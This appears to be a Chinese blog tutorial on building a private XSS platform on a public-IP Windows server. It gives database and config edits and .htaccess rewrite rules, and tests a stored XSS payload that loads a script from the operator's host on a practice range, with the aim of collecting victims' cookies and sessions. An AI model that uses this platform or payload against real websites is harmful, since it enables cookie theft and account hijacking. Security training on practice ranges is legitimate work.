文章目录

  • 前言
  • 一、源码及运行环境准备
    • (一)XSS平台源码从哪里下载?
    • (二)操作系统和工具的准备
  • 二、平台搭建
    • (一)新建网站目录
    • (二)导入数据库
    • (三)修改数据库
    • (四)修改配置文件
      • 1、config.php
      • 2、authtest.php
      • 3、配置.htaccess伪静态文件
    • (五)phpstudy的设置
  • 三、XSS平台使用方法简介
    • (一)功能测试
    • (二)如何将XSS平台设置为私人XSS平台?
  • 四、小结

前言


网上有很多文章讲解XSS平台的搭建,但是我跟着教程自己搭建的时候总是遇到各种问题,踩了很多坑,因此本文重新梳理了一下在windows server 2012上搭建XSS平台的全过程,大家只需要一步步跟着做就可以了,希望能用最通俗易懂的语言将过程描述清楚,容易被忽略导致搭建失败的细节我也会一一提及,避免大家像我当初一样踩坑。关于本文中的细节有任何疑问欢迎私信本人,一般我会在24小时之内回复,为君答疑解惑。


一、源码及运行环境准备

(一)XSS平台源码从哪里下载?

古人云:“工欲善其事,必先利其器”。在开始搭建之前,我们需要先做好必要的准备。读者目前手头如果没有XSS平台源码,也不知道该从哪里下载,
可以从网上自行搜索下载XSS平台源码,但是有一定的风险。我自己使用的XSS平台源码是从公众号上下载的,可以在微信上搜索该公众号,Ms08067安全实验室,然后回复:WEB安全攻防工具,即可得到源码。

该实验室在国内较为出名,著有《WEB安全攻防-渗透测试实战指南》、《Python安全攻防》、《内网安全攻防》、《java代码审计:入门篇》等,我想他们还是比较靠谱的,所以直接使用他们提供的源码了。
如果读者嫌麻烦不想从公众号上下载怎么办?没关系,我都给你准备好啦!本文发布以后,我会立即上传XSS平台源码到本人的博客空间,并且不需要任何金币即可免费下载。

(二)操作系统和工具的准备

本文搭建的XSS平台是基于windows server 2012的云服务器,有公网ip。搭建的时候需要使用phpstudy2016,当然了,vc9_86运行库也是必备的,这两个我都会一并上传到本人博客中,无需金币即可下载。
注意:XSS平台由于需要和目标进行反向连接,因此必须有一个公网ip,才能让目标访问到你,所以如果没有公网Ip,那建议先去整一个,然后再来阅读本文。


二、平台搭建

(一)新建网站目录

首先安装好phpstudy,在WWW目录下新建一个文件夹,名为xsser
大家注意了,这里文件夹就叫xsser,别乱改了,因为这个XSS平台源码以前默认是xsser.me这个网站使用的,有些默认设置是用到了xsser这个文件夹,为了避免未知的错误,因此我们老老实实把文件夹的名字命名为xsser,这样可以避免将来不必要的麻烦。
然后将XSS平台的源码解压到该目录下,如图所示:

(二)导入数据库

注意,在导入数据库之前,首先去新建一个空数据库,然后再把数据导进来。
用管理员身份运行phpstudy(注意这点,一定要以管理员身份运行phpstudy,以免出现一些意想不到的情况),点击MYSQL管理器,点击MySql-Front,在左侧找到localhost,右键单击,选择新建,点击数据库

输入数据库名为:xssplatform
这个数据库名字是配置文件的默认库名,最好就不要去修改了,否则配置文件也得跟着改,何必自找麻烦呢?
然后发现新建了一个名为xssplatform的数据库。在该数据库名上右键单击,选择输入,选择SQL文件,然后将找到xsser文件夹下的xssplatform.sql,字符集选择UTF-8,如图所示:

然后点击打开。这样数据就成功导入数据库中了。

(三)修改数据库

由于该数据库中默认设置的域名为xsser.me,如果不加以修改,那么生成的XSS攻击代码就无法发送到我们自己的网站了。
因此我们必须对JS代码进行修改。
单击SQL编辑器
输入以下命令进行修改:

use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','此处输入你的域名或公网ip/xsser');


注意上面的域名是你自己的域名或者公网ip,这里是第一个容易踩坑的地方。假设网址是www.baidu.com,那么这里的命令就是:

use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','www.baidu.com/xsser');

假如你没有域名,只有公网ip,ip假设是101.0.0.0那么命令就是:

use xssplatform;
select * from oc_module;
update oc_module set code=REPLACE(code,'http://xsser.me','101.0.0.0/xsser');

通过这两个例子,读者想必已经完全明白了这里的域名怎么设置了。
设置完毕以后按F9运行这三条命令即可。注意这里的前两条命令是为了保险起见,因为按照mysql的语法规则,需要先进入一个库,才能对这个库的数据进行操作,因此我就加了两条,第一条命令表示进入该数据库,第二条命令表示查询oc_module表的内容。

(四)修改配置文件

1、config.php

打开xsser文件夹下的config.php文件,需要修改的地方如图所示:

根据右侧的注释可以看出左侧代码具体的含义,数据库的账户密码就根据自己本机的账户密码来填就行了,我的是root,root。数据库的地址要么填localhost,要么填127.0.0.1,都是一样的。第22行输入自己的网址,后面的/xsser注意别漏了。
比如你的公网ip是101.0.0.0,那么第22行URL的路径为:http://101.0.0.0/xsser
上面第18行那里是设置注册功能开关的,如果设置为normal,表示不需要邀请码就能注册,设置为invite的话,只能通过邀请注册,而如果完全关闭注册,则只要输入close即可。这里我们刚开始搭建,先设置为normal

2、authtest.php

接着打开xsser目录下的authtest.php文件,找到第21行,在location后面的url前面的部分改成http://localhost/xsser即可,最终效果如图所示即可:

3、配置.htaccess伪静态文件

这里需要涉及一个概念,就是.htaccess文件。
.htaccess全称是Hypertext Access(超文本入口),也被称为分布式配置文件,是Apache特有的的针对目录改变配置的方法。通过在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。该文件可以针对不同的目录去做不同的策略。
为了接收到来自目标网站的数据,我们需要配置一个.htaccess文件。
在xssser文件夹下新建一个1.txt文件,然后粘贴以下代码进去:

RewriteEngine On
RewriteRule ^([0-9a-zA-Z]{6})$ /xsser/index.php?do=code&urlKey=$1 [L]
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$ /xsser/index.php?do=do&auth=$1&domain=$3 [L]
RewriteRule ^register/(.*?)$ /xsser/index.php?do=register&key=$1 [L]
RewriteRule ^register-validate/(.*?)$ /xsser/index.php?do=register&act=validate&key=$1 [L]
RewriteRule ^login$ /xsser/index.php?do=login [L]

注意我们的index.php是在xsser文件夹下的,所以上面每一个index.php前面都有一个/xsser/,读者需要注意这点,假如你不是用xsser文件夹,那么这里也要相应修改。
现在只要把1.txt命名为.htaccess即可。直接重命名是不行的,windows禁止文件名为空,因此我们需要借助命令行来实现。命令行重命名的命令为ren,语法也很简单,就是:

ren 旧文件名 新文件名

现在可以去重命名了。在该文件夹的路径中,删掉路径,然后输入cmd

这样即可打开该文件夹下的cmd窗口,然后输入(注意ren和1.txt后面各有一个空格):

ren 1.txt .htaccess


然后查看xsser文件夹,看到成功改名为.htaccess

(五)phpstudy的设置

在phpstudy的主界面中,点击其他选项菜单,点击站点域名管理,然后将网站的根目录设置为xsser文件夹所在的WWW目录。注意是WWW目录,而不是xsser。这样你在WWW下建立其他文件夹,然后搭建网站,就不需要再去设置phpstudy了,而是用域名/文件夹名就能访问到了。
言规正传,设置好网站根目录以后,顺便把自己的域名也填进去,我这里就直接涂鸦了,不想让你们知道,啊哈哈哈!

其他的保持默认设置即可。设置完毕,点击新增,然后点击保存配置文件即可。
为了保险起见,在其他选项菜单中,找到phpstudy设置,然后把上面的目录也修改为WWW目录,其余不变,如图所示:


三、XSS平台使用方法简介

(一)功能测试

现在已经完成了所有的搭建过程,现在咱们测试一下看看。由于咱们的目标是要能实现公网访问,且能接收数据,因此直接用域名来访问。
打开浏览器,输入:你的域名/xsser
注意要在域名后面加个/xsser,别忘了。

注册一个账号,账号密码均为a123455。注册成功后会自动登陆,界面如下:

然后在左侧我的项目那里,创建一个项目:

接着选择默认模块,勾选keepsession

然后点击下一步。

看到页面中生成了很多XSS的payload。
复制一段XSS,比如下面这个,然后我们通过封神台的存储型XSS靶场来测试一下能否接收到外部的信息。

</textarea>'"><script src=http://xx.xx.xx.xx/xsser/r1AsOY></script>

进入靶场,地址在:http://59.63.166.75:8082/
有人代码审计出来:只要以c和m两个固定的GET传参方式访问该cms的一个不存在的页面,管理员后台的错误日志页面中就会把该访问内容写入错误日志当中。
因此我们在URL中输入:

59.63.166.75:8082/index.php?c=test&m=test

然后在末尾加上上面生成的XSSpayload,所以完整的URL为:

59.63.166.75:8082/index.php?c=test&m=test </textarea>'"><script src=http://xx.xx.xx.xx/xsser/r1AsOY></script>

为了保护我自己个人的隐私,我把ip地址换成了xx.xx.xx.xx。
在URL中访问后,页面会提示404,然后按CTRL+U,查看网页源代码:

看到我们写入的XSS已经成为了网页源代码的一部分。然后查看XSS平台:

接收到了来自靶场的很多信息,可见平台搭建成功。

(二)如何将XSS平台设置为私人XSS平台?

这里注意,我们可以将自己创建的账号设置为管理员,并关闭平台的注册功能,从而该XSS平台就变成只有我们自己能用的私人XSS平台了。那么该如何实现呢,分两步:
第一步,先将a123456设置为管理员。打开数据库,点击SQL编辑器,输入:

use xssplatform;
select * from oc_user;

前面的adminlevel就是代表是否是管理员,只要将相应用户前面的adminlevel的值设置为1,即表示设置该用户为管理员。只要双击即可修改数据。当然通过命令也可以实现,我个人比较喜欢用命令来操作数据库,命令如下:

use xssplatform;
select * from oc_user;
update oc_user set adminlevel=1 where userName='a123456'

执行成功:

接着打开xsser文件夹下的config.php文件,将第18行中的normal改成close即可。
这样XSS平台就只有我们自己能使用了。


四、小结

XSS平台由于其敏感性,容易被封,并且在使用网上的XSS平台时,我们无法确定该平台的管理者会不会别有用心,把我们获得的cookie信息拿来用呢?所以最好是搭建一个私人的XSS平台。本文正是基于这一点,详细介绍了在windows server 2012上搭建XSS平台的全过程,并通过封神台的存储型XSS靶场简单测试了该平台的功能,希望对大家搭建XSS平台起到一定的参考作用。

手把手教你搭建XSS平台相关推荐

  1. 建模simulink - 手把手教你搭建xpc平台

    概述 xpc半实物仿真目标是个基于RTW对低端实时仿真和开发平台,可将计算机或者工控机转变为一个实时系统,不需要第三方操作系统对支持,在计算机上配置输入输入出设备就能和外部交换信息,进行硬件再换仿真和 ...

  2. 怎么搭建xss平台云服务器,最详细搭建xss平台

    hello 大家好 我是Si Lun 今天来教大家搭建xss平台吧 就在刚刚老夫也是刚刚搭建完了,亲测可用, 拿出来跟大家分享下,其实自己没有必要去搭建,外面一堆xss平台,但是如何搭建的,还是要知道 ...

  3. 手把手教你搭建 ELK 实时日志分析平台

    来自:武培轩 本篇文章主要是手把手教你搭建 ELK 实时日志分析平台,那么,ELK 到底是什么呢? ELK 是三个开源项目的首字母缩写,这三个项目分别是:Elasticsearch.Logstash ...

  4. 手把手教你搭建Hadoop生态系统伪分布式集群

    Hello,我是 Alex 007,一个热爱计算机编程和硬件设计的小白,为啥是007呢?因为叫 Alex 的人太多了,再加上每天007的生活,Alex 007就诞生了. 手把手教你搭建Hadoop生态 ...

  5. 报名 | NVIDIA线下交流会:手把手教你搭建TensorFlow Caffe深度学习服务器

    7月21日(周六)下午14:30,量子位与NVIDIA英伟达开发者社区联合举办线下交流会,拥有丰富一线开发经验的NVIDIA开发者社区经理Ken He,将手把手教你搭建TensorFlow & ...

  6. 保姆级教程:手把手教你搭建个人网站

    保姆级教程:手把手教你搭建个人网站 前言 准备与搭建 1.Git管理工具的下载与安装 2.nodejs环境安装 3.hexo博客框架下载 npm换国内源 使用npm下载hexo博客框架 初始化mybl ...

  7. 手把手教大家搭建微信公众号查题功能

    手把手教大家搭建微信公众号查题功能 本平台优点: 多题库查题.独立后台.响应速度快.全网平台可查.功能最全! 1.想要给自己的公众号获得查题接口,只需要两步! 2.题库: 题库:题库后台(点击跳转) ...

  8. 手把手教你搭建SpringCloud项目(十)集成Hystrix之服务降级

    Spring Cloud全集文章目录: 零.什么是微服务?一看就会系列! 一.手把手教你搭建SpringCloud项目(一)图文详解,傻瓜式操作 二.手把手教你搭建SpringCloud项目(二)生产 ...

  9. 手把手教你搭建OA服务器

    手把手教你搭建OA服务器 AnyOffice.Net 3.3 安装与配置说明 AnyOffice.Net在平台准备充分的情况下可以通过一次点击安装.配置IIS站点就能完成.所以在安装AnyOffice ...

最新文章

  1. es6 初步深入学习
  2. 【Python小程序】这竟是2月14号情人节表白神器、成功率100%?(进来康康)
  3. Linux中shell模块的考试,linux下的shell编程要考试了题目这里有可是表示不会 求帮忙...
  4. 深入iOS系统底层之CPU寄存器介绍
  5. 凯撒(Caesar)密码加密解密c语言
  6. MonoRail学习-介绍篇(一)
  7. 【POJ-3259】 Wormholes(判负环,spfa算法)
  8. Python使用数学形态学腐蚀运算删除验证码图片中的干扰噪点和线条
  9. 【万字总结,花几分钟让你进一步了解指针】(学习笔记11--指针中)
  10. C#将子窗体填充到父窗体的panel中
  11. 深度学习笔记--激活函数:sigmoid,maxout
  12. RoR scaffold
  13. Convert excel format exception.You can try specifying the ‘excelType‘ yourself
  14. seo网站关键词优化三大要素:技术 思路 执行力
  15. abb机器人工具坐标系设定方式_实用 | ABB机器人如何设定工具坐标系?
  16. TI DSP 5502定时器使用
  17. ValueError: Cannot have number of splits n_splits=3 greater than the number of samples: 1
  18. 分子动力学及第一性原理计算
  19. C++ Reference: Standard C++ Library reference: C Library: cstdio: fprintf
  20. GUI(图形用户界面)——AWT概述、布局管理器

热门文章

  1. 小泼猴案例操作问题以及解决方法1
  2. 光明or黯淡?未来投身于软件开发行业是否可靠?
  3. Redis存储缓存工具类简单封装
  4. 那年声明理解不了定义与初始化(三)
  5. 透明计算不与云计算抢饭碗
  6. iOS百度地图更新位置
  7. SDUT 2562 相似三角形 JAVA
  8. Heroku搭建简单网站
  9. 【C++学习笔记】头文件详解
  10. 新媒体运营胡耀文教程:短视频脚本的3个套路,新手也能做爆款